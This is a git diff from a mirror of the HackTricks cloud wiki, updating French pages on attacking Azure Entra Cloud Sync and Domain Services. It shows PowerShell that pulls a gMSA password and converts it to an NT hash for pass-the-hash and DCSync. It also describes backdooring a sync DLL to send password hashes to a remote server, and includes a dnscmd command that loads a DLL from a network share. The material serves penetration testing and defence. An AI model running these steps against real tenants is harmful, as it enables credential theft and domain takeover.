mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
Translator
@@ -2,32 +2,33 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Cloud Sync** est essentiellement la nouvelle façon d'Azure de **synchroniser les utilisateurs d'AD dans Entra ID**.
|
||||
## Basic Information
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync est une nouvelle offre de Microsoft conçue pour répondre et atteindre vos objectifs d'identité hybride pour la synchronisation des utilisateurs, groupes et contacts vers Microsoft Entra ID. Cela est accompli en utilisant l'agent de provisionnement cloud Microsoft Entra au lieu de l'application Microsoft Entra Connect. Cependant, il peut être utilisé en parallèle avec Microsoft Entra Connect Sync.
|
||||
**Cloud Sync** est essentiellement la nouvelle façon d'Azure pour **synchroniser les utilisateurs de AD vers Entra ID**.
|
||||
|
||||
### Principaux générés
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync est une nouvelle offre de Microsoft conçue pour répondre et accomplir vos objectifs d'identité hybride pour la synchronisation des utilisateurs, groupes et contacts vers Microsoft Entra ID. Elle y parvient en utilisant l'agent de provisioning cloud Microsoft Entra au lieu de l'application Microsoft Entra Connect. Cependant, elle peut être utilisée en parallèle avec Microsoft Entra Connect Sync.
|
||||
|
||||
Pour que cela fonctionne, certains principaux sont créés à la fois dans Entra ID et le répertoire sur site :
|
||||
### Principals Generated
|
||||
|
||||
- Dans Entra ID, l'utilisateur `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) est créé avec le rôle **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
Pour que cela fonctionne, certains principals sont créés à la fois dans Entra ID et dans l'annuaire On-Premise :
|
||||
|
||||
- Dans Entra ID l'utilisateur `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) est créé avec le rôle **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Ce rôle avait beaucoup de permissions privilégiées et pouvait être utilisé pour [**escalader les privilèges même jusqu'à l'administrateur global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Cependant, Microsoft a décidé de supprimer tous les privilèges de ce rôle et de lui assigner juste un nouveau **`microsoft.directory/onPremisesSynchronization/standard/read`** qui ne permet pas vraiment d'effectuer d'action privilégiée (comme modifier le mot de passe ou les attributs d'un utilisateur ou ajouter une nouvelle crédential à un SP).
|
||||
> Ce rôle avait auparavant beaucoup de permissions privilégiées et il pouvait être utilisé pour [**escalader les privilèges jusqu'au global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Cependant, Microsoft a décidé de retirer tous les privilèges de ce rôle et de lui assigner seulement un nouveau **`microsoft.directory/onPremisesSynchronization/standard/read`** qui n'autorise pas réellement d'action privilégiée (comme modifier le mot de passe ou les attributs d'un utilisateur ou ajouter un nouveau credential à un SP).
|
||||
|
||||
- Dans Entra ID, le groupe **`AAD DC Administrators`** est également créé sans membres ni propriétaires. Ce groupe est utile si [`Microsoft Entra Domain Services`](./az-domain-services.md) est utilisé.
|
||||
- Dans Entra ID le groupe **`AAD DC Administrators`** est également créé sans membres ni propriétaires. Ce groupe est utile si [`Microsoft Entra Domain Services`](./az-domain-services.md) est utilisé.
|
||||
|
||||
- Dans l'AD, soit le compte de service **`provAgentgMSA`** est créé avec un SamAccountName comme **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), soit un personnalisé avec [**ces permissions sont nécessaires**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). En général, le par défaut est créé.
|
||||
- Dans l'AD, soit le Service Account **`provAgentgMSA`** est créé avec un SamAcountName comme **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), soit un compte custom avec [**ces permissions est needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Habituellement, le compte par défaut est créé.
|
||||
|
||||
> [!WARNING]
|
||||
> Parmi d'autres permissions, le compte de service **`provAgentgMSA`** a des permissions DCSync, permettant **à quiconque qui le compromet de compromettre l'ensemble du répertoire**. Pour plus d'informations sur [DCSync, consultez ceci](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
> Parmi d'autres permissions, le Service Account **`provAgentgMSA`** possède des permissions DCSync, permettant **à quiconque le compromet d'entrer en compromission l'annuaire entier**. Pour plus d'informations sur DCSync, consultez [ceci](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Par défaut, les utilisateurs de groupes privilégiés connus comme Domain Admins avec l'attribut **`adminCount` à 1 ne sont pas synchronisés** avec Entra ID pour des raisons de sécurité. Cependant, d'autres utilisateurs qui font partie de groupes privilégiés sans cet attribut ou qui se voient attribuer des privilèges élevés directement **peuvent être synchronisés**.
|
||||
|
||||
## Synchronisation des mots de passe
|
||||
## Password Sychronization
|
||||
|
||||
La section est très similaire à celle de :
|
||||
|
||||
@@ -35,19 +36,20 @@ La section est très similaire à celle de :
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **La synchronisation des hachages de mots de passe** peut être activée afin que les utilisateurs puissent **se connecter à Entra ID en utilisant leurs mots de passe d'AD**. De plus, chaque fois qu'un mot de passe est modifié dans AD, il sera mis à jour dans Entra ID.
|
||||
- **Le retour de mot de passe** peut également être activé, permettant aux utilisateurs de modifier leur mot de passe dans Entra ID en synchronisant automatiquement leur mot de passe dans le domaine sur site. Mais selon la [documentation actuelle](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), il est nécessaire d'utiliser l'agent Connect, alors jetez un œil à la [section Az Connect Sync](./az-connect-sync.md) pour plus d'informations.
|
||||
- **Le retour de groupes** : Cette fonctionnalité permet aux adhésions de groupe d'Entra ID d'être synchronisées vers l'AD sur site. Cela signifie que si un utilisateur est ajouté à un groupe dans Entra ID, il sera également ajouté au groupe correspondant dans l'AD.
|
||||
- **Password hash synchronization** peut être activée afin que les utilisateurs puissent **se connecter à Entra ID en utilisant leurs mots de passe AD**. De plus, chaque fois qu'un mot de passe est modifié dans AD, il sera mis à jour dans Entra ID.
|
||||
- **Password writeback** peut aussi être activée, permettant aux utilisateurs de modifier leur mot de passe dans Entra ID et de synchroniser automatiquement leur mot de passe dans le domaine on-premise. Mais selon la [documentation actuelle](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), cela nécessite d'utiliser le Connect Agent, donc consultez la section [Az Connect Sync](./az-connect-sync.md) pour plus d'informations.
|
||||
- **Groups writeback** : Cette fonctionnalité permet aux appartenances de groupes d'Entra ID d'être synchronisées vers l'AD on-premises. Cela signifie que si un utilisateur est ajouté à un groupe dans Entra ID, il sera également ajouté au groupe correspondant dans l'AD.
|
||||
|
||||
## Pivotement
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Si les utilisateurs AD sont synchronisés de l'AD vers Entra ID, le pivotement de l'AD vers Entra ID est simple, il suffit de **compromettre le mot de passe d'un utilisateur ou de changer le mot de passe d'un utilisateur ou de créer un nouvel utilisateur et d'attendre qu'il soit synchronisé dans le répertoire Entra ID (généralement seulement quelques minutes)**.
|
||||
- Si les utilisateurs AD sont synchronisés de l'AD vers Entra ID, pivoter de AD vers Entra ID est simple : il suffit de **compromettre le mot de passe d'un utilisateur ou de changer le mot de passe d'un utilisateur ou de créer un nouvel utilisateur et attendre qu'il soit synchronisé dans l'annuaire Entra ID (généralement seulement quelques minutes)**.
|
||||
|
||||
Ainsi, vous pourriez par exemple
|
||||
- Compromettre le compte **`provAgentgMSA`**, effectuer une attaque DCSync, craquer le mot de passe d'un utilisateur et ensuite l'utiliser pour se connecter à Entra ID.
|
||||
- Juste créer un nouvel utilisateur dans l'AD, attendre qu'il soit synchronisé dans Entra ID et ensuite l'utiliser pour se connecter à Entra ID.
|
||||
Ainsi, vous pouvez par exemple :
|
||||
- Compromettre le compte **`provAgentgMSA`**, effectuer une attaque DCSync, cracker le mot de passe d'un utilisateur puis l'utiliser pour vous connecter à Entra ID.
|
||||
- Simplement créer un nouvel utilisateur dans l'AD, attendre qu'il soit synchronisé dans Entra ID et ensuite l'utiliser pour se connecter à Entra ID.
|
||||
- Modifier le mot de passe d'un utilisateur dans l'AD, attendre qu'il soit synchronisé dans Entra ID et ensuite l'utiliser pour se connecter à Entra ID.
|
||||
|
||||
Pour compromettre les identifiants de **`provAgentgMSA`** :
|
||||
@@ -72,7 +74,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Maintenant, vous pourriez utiliser le hachage du gMSA pour effectuer une attaque Pass-the-Hash contre Entra ID en utilisant le compte `provAgentgMSA` et maintenir la persistance en étant capable d'effectuer des attaques DCSync contre l'AD.
|
||||
Vous pouvez maintenant utiliser le hachage du gMSA pour effectuer une attaque Pass-the-Hash contre Entra ID en utilisant le compte `provAgentgMSA` et maintenir la persistance afin de pouvoir réaliser des attaques DCSync contre l'AD.
|
||||
|
||||
Pour plus d'informations sur la façon de compromettre un Active Directory, consultez :
|
||||
|
||||
@@ -81,13 +83,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Notez qu'il n'y a aucun moyen de donner des rôles Azure ou EntraID aux utilisateurs synchronisés en fonction de leurs attributs, par exemple dans les configurations de Cloud Sync. Cependant, afin d'accorder automatiquement des permissions aux utilisateurs synchronisés, certains **groupes Entra ID de l'AD** pourraient se voir accorder des permissions afin que les utilisateurs synchronisés à l'intérieur de ces groupes les reçoivent également ou **des groupes dynamiques pourraient être utilisés**, donc vérifiez toujours les règles dynamiques et les moyens potentiels de les abuser :
|
||||
> Notez qu'il n'existe aucun moyen d'attribuer des rôles Azure ou EntraID aux utilisateurs synchronisés en fonction de leurs attributs, par exemple dans les configurations Cloud Sync. Cependant, afin d'accorder automatiquement des permissions aux utilisateurs synchronisés, certains **Entra ID groups from AD** peuvent se voir attribuer des permissions de sorte que les utilisateurs synchronisés à l'intérieur de ces groupes les reçoivent aussi, ou **dynamic groups might be used**, donc vérifiez toujours les règles dynamiques et les méthodes potentielles d'abus :
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Concernant la persistance, [cet article de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggère qu'il est possible d'utiliser [**dnSpy**](https://github.com/dnSpy/dnSpy) pour créer une porte dérobée dans le dll **`Microsoft.Online.Passwordsynchronisation.dll`** situé dans **`C:\Program Files\Microsoft Azure AD Sync\Bin`** qui est utilisé par l'agent Cloud Sync pour effectuer la synchronisation des mots de passe, le rendant capable d'exfiltrer les hachages de mots de passe des utilisateurs synchronisés vers un serveur distant. Les hachages sont générés à l'intérieur de la classe **`PasswordHashGenerator`** et l'article de blog suggère d'ajouter du code afin que la classe ressemble à (notez l'utilisation de `use System.Net` et de `WebClient` pour exfiltrer les hachages de mots de passe) :
|
||||
Concernant la persistance, [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest qu'il est possible d'utiliser [**dnSpy**](https://github.com/dnSpy/dnSpy) pour backdoor la dll **`Microsoft.Online.Passwordsynchronisation.dll`** située dans **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, qui est utilisée par l'agent Cloud Sync pour effectuer la password synchronization, la faisant exfiltrate les password hashes des utilisateurs synchronisés vers un serveur distant. Les password hashes sont générés dans la classe **`PasswordHashGenerator`** et le blog suggère d'ajouter du code pour que la classe ressemble à ceci (notez le `use System.Net` et l'utilisation de `WebClient` pour exfiltrate les password hashes) :
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -121,22 +123,19 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Si **Password Writeback** est activé, vous pourriez modifier le mot de passe de certains utilisateurs depuis Entra ID et si vous avez accès au réseau AD, vous connecter en utilisant ces identifiants. Pour plus d'informations, consultez la section [Az Connect Sync](./az-connect-sync.md) car la réécriture de mot de passe est configurée à l'aide de cet agent.
|
||||
- Si **Password Writeback** est activé, vous pouvez modifier le mot de passe de certains utilisateurs depuis Entra ID et, si vous avez accès au réseau AD, vous connecter avec ces comptes. Pour plus d'infos consultez la [Az Connect Sync section](./az-connect-sync.md) section car le password writeback est configuré via cet agent.
|
||||
|
||||
- À ce stade, Cloud Sync permet également **"Microsoft Entra ID to AD"**, mais après trop de temps, j'ai constaté qu'il ne peut PAS synchroniser les utilisateurs d'EntraID vers AD et qu'il ne peut synchroniser que les utilisateurs d'EntraID qui ont été synchronisés avec le hachage de mot de passe et proviennent d'un domaine appartenant à la même forêt de domaine que le domaine vers lequel nous synchronisons, comme vous pouvez le lire dans [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- À l'heure actuelle Cloud Sync permet aussi **"Microsoft Entra ID to AD"**, mais après investigation j'ai constaté qu'il NE PEUT PAS synchroniser les utilisateurs EntraID vers AD et qu'il ne peut synchroniser que les utilisateurs d'EntraID qui ont été synchronisés avec le hash de mot de passe et qui proviennent d'un domaine appartenant à la même forêt de domaines que le domaine vers lequel nous synchronisons, comme indiqué sur [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ces groupes ne peuvent contenir que des utilisateurs synchronisés sur site et / ou des groupes de sécurité créés dans le cloud supplémentaires.
|
||||
> - Les comptes d'utilisateur sur site qui sont synchronisés et sont membres de ce groupe de sécurité créé dans le cloud peuvent provenir du même domaine ou de domaines différents, mais ils doivent tous provenir de la même forêt.
|
||||
> - Ces groupes ne peuvent contenir que des utilisateurs synchronisés on-premises et / ou des security groups supplémentaires créés dans le cloud.
|
||||
> - Les comptes utilisateur on-premises qui sont synchronisés et sont membres de ce security group créé dans le cloud peuvent être du même domaine ou cross-domain, mais ils doivent tous appartenir à la même forêt.
|
||||
|
||||
Ainsi, la surface d'attaque (et l'utilité) de ce service est considérablement réduite, car un attaquant devrait compromettre l'AD initial d'où les utilisateurs sont synchronisés pour compromettre un utilisateur dans l'autre domaine (et les deux doivent apparemment être dans la même forêt).
|
||||
Donc la surface d'attaque (et l'utilité) de ce service est fortement réduite car un attaquant devrait compromettre l'AD initial depuis lequel les utilisateurs sont synchronisés pour compromettre un utilisateur dans l'autre domaine (et apparemment les deux doivent être dans la même forêt).
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Énumération
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
@@ -4,25 +4,25 @@
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services permet de déployer un Active Directory dans Azure sans avoir à gérer des Domain Controllers (en réalité vous n'y avez même pas accès).
|
||||
Microsoft Entra Domain Services permet de déployer un Active Directory dans Azure sans avoir à gérer les Domain Controllers (en réalité vous n'avez même pas accès à ceux-ci).
|
||||
|
||||
Son objectif principal est de vous permettre d'exécuter des applications legacy dans le cloud qui ne peuvent pas utiliser des méthodes d'authentification modernes, ou lorsque vous ne voulez pas que les recherches d'annuaire renvoient systématiquement à un environnement AD DS on-premise.
|
||||
Son objectif principal est de permettre d'exécuter des applications legacy dans le cloud qui ne peuvent pas utiliser des méthodes d'authentification modernes, ou lorsque vous ne voulez pas que les recherches d'annuaire retournent systématiquement vers un environnement AD DS sur site.
|
||||
|
||||
Notez que pour synchroniser les utilisateurs créés dans Entra ID (et non synchronisés depuis d'autres annuaires Active Directory) vers le service de domaine AD, vous devez **changer le mot de passe de l'utilisateur** pour un nouveau afin qu'il puisse être synchronisé avec le nouvel AD. En fait, l'utilisateur n'est pas synchronisé depuis Microsoft Entra ID vers Domain Services tant que le mot de passe n'a pas été changé.
|
||||
Notez que pour synchroniser les utilisateurs créés dans Entra ID (et non synchronisés depuis d'autres annuaires) vers le service de domaine AD, vous devez **changer le mot de passe de l'utilisateur** pour un nouveau afin qu'il puisse être synchronisé avec le nouvel AD. En réalité, l'utilisateur n'est pas synchronisé depuis Microsoft Entra ID vers Domain Services tant que le mot de passe n'a pas été changé.
|
||||
|
||||
> [!WARNING]
|
||||
> Même si vous créez un nouveau domaine Active Directory, vous ne pourrez pas le gérer complètement (sauf en exploitant certaines misconfigurations), ce qui signifie que par défaut par exemple vous ne pouvez pas créer d'utilisateurs directement dans l'AD. Vous les créez en **synchronisant les utilisateurs depuis Entra ID.** Vous pouvez indiquer de synchroniser tous les utilisateurs (même ceux synchronisés depuis d'autres AD on-premise), uniquement les utilisateurs cloud (créés dans Entra ID), ou même les **filtrer davantage**.
|
||||
> Même si vous créez un nouveau domaine Active Directory, vous ne pourrez pas le gérer complètement (sauf en exploitant certaines mauvaises configurations), ce qui signifie que par défaut par exemple vous ne pouvez pas créer d'utilisateurs directement dans l'AD. Vous les créez en **synchronisant les utilisateurs depuis Entra ID.** Vous pouvez indiquer de synchroniser tous les utilisateurs (même ceux synchronisés depuis d'autres AD on-premise), uniquement les cloud users (utilisateurs créés dans Entra ID), ou même **les filtrer davantage**.
|
||||
|
||||
> [!NOTE]
|
||||
> En général, en raison du manque de flexibilité dans la configuration du nouveau domaine et du fait que les AD sont généralement déjà on-premise, ce n'est pas la principale intégration entre Entra ID et AD, mais il est quand même intéressant de savoir comment le compromettre.
|
||||
> De manière générale, en raison du manque de flexibilité dans la configuration du nouveau domaine et du fait que les ADs sont généralement déjà sur site, ce n'est pas la principale intégration entre Entra ID et AD, mais il reste intéressant de savoir comment le compromettre.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Les membres du groupe généré **`AAD DC Administrators`** se voient accorder des permissions d'administrateur local sur les VMs jointes au domaine géré (mais pas sur les domain controllers), car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser **Remote Desktop pour se connecter à distance aux VMs jointes au domaine**, et sont aussi membres des groupes suivants :
|
||||
Les membres du groupe généré **`AAD DC Administrators`** se voient accorder des permissions d'administrateur local sur les VMs jointes au domaine géré (mais pas sur les domain controllers) car ils sont ajoutés dans le groupe des administrateurs locaux. Les membres de ce groupe peuvent aussi utiliser **Remote Desktop pour se connecter à distance aux VMs jointes au domaine**, et sont également membres des groupes :
|
||||
|
||||
- **`Denied RODC Password Replication Group`** : Il s'agit d'un groupe qui spécifie les utilisateurs et groupes dont les mots de passe ne peuvent pas être mis en cache sur les RODC (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`** : Ce groupe permet à ses membres de créer des Group Policies dans le domaine. Cependant, ses membres ne peuvent pas appliquer des Group Policies aux utilisateurs ou groupes ni éditer des GPOs existants, donc ce n'est pas très intéressant dans cet environnement.
|
||||
- **`DnsAdmins`** : Ce groupe permet de gérer les paramètres DNS et a été abusé par le passé pour [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), cependant après avoir testé l'attaque dans cet environnement, il a été vérifié que la vulnérabilité est corrigée :
|
||||
- **`Denied RODC Password Replication Group`** : Il s'agit d'un groupe qui spécifie les utilisateurs et groupes dont les mots de passe ne peuvent pas être mis en cache sur les RODCs (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`** : Ce groupe permet à ses membres de créer des Group Policies dans le domaine. Cependant, ses membres ne peuvent pas appliquer de group policies aux utilisateurs ou groupes ni modifier des GPOs existants, donc ce n'est pas très intéressant dans cet environnement.
|
||||
- **`DnsAdmins`** : Ce groupe permet de gérer les paramètres DNS et a été exploité par le passé pour [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), cependant après avoir testé l'attaque dans cet environnement il a été vérifié que la vulnérabilité est patchée:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
@@ -30,16 +30,16 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Notez que pour accorder ces permissions, dans l'AD le groupe **`AAD DC Administrators`** est ajouté comme membre des groupes précédents, et la GPO **`AADDC Computers GPO`** ajoute en tant qu'administrateurs locaux tous les membres du groupe de domaine **`AAD DC Administrators`**.
|
||||
Notez que pour accorder ces autorisations, à l'intérieur de l'AD, le groupe **`AAD DC Administrators`** est ajouté comme membre des groupes précédents, et la GPO **`AADDC Computers GPO`** ajoute en tant qu'administrateurs locaux tous les membres du groupe de domaine **`AAD DC Administrators`**.
|
||||
|
||||
Le pivot depuis Entra ID vers un AD créé avec Domain Services est simple : il suffit d'ajouter un utilisateur au groupe **`AAD DC Administrators`**, d'accéder via RDP à n'importe quelle machine du domaine et vous pourrez voler des données et aussi **compromettre le domaine.**
|
||||
Pivoting from Entra ID vers un AD créé avec Domain Services est simple : ajoutez un utilisateur au groupe **`AAD DC Administrators`**, accédez via RDP à une ou plusieurs machines du domaine et vous pourrez exfiltrer des données et aussi **compromise the domain.**
|
||||
|
||||
En revanche, pivoter du domaine vers Entra ID n'est pas aussi simple car rien du domaine n'est synchronisé dans Entra ID. Cependant, vérifiez toujours les metadata de toutes les VMs jointes, car leurs managed identities assignées pourraient avoir des permissions intéressantes. Faites aussi un **dump de tous les mots de passe des utilisateurs du domaine** et essayez de les crack pour ensuite vous connecter à Entra ID / Azure.
|
||||
Cependant, pivoting du domaine vers Entra ID n'est pas aussi simple car rien du domaine n'est synchronisé dans Entra ID. Vérifiez néanmoins toujours les metadata de toutes les VMs jointes, car leurs managed identities assignées pourraient disposer de permissions intéressantes. De plus, **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que par le passé d'autres vulnérabilités dans cet AD géré ont été trouvées, permettant de compromettre les DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaquant compromettant le DC pouvait très facilement maintenir une persistence sans que les admins Azure ne s'en aperçoivent ou ne puissent même la supprimer.
|
||||
> Notez que par le passé d'autres vulnérabilités dans cet AD géré ont été découvertes et ont permis de compromettre les DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaquant compromettant le DC pouvait très facilement maintenir une persistance sans que les admins Azure ne le remarquent ou ne puissent même le supprimer.
|
||||
|
||||
### Enumeration
|
||||
### Énumération
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
|
||||
Reference in New Issue
Block a user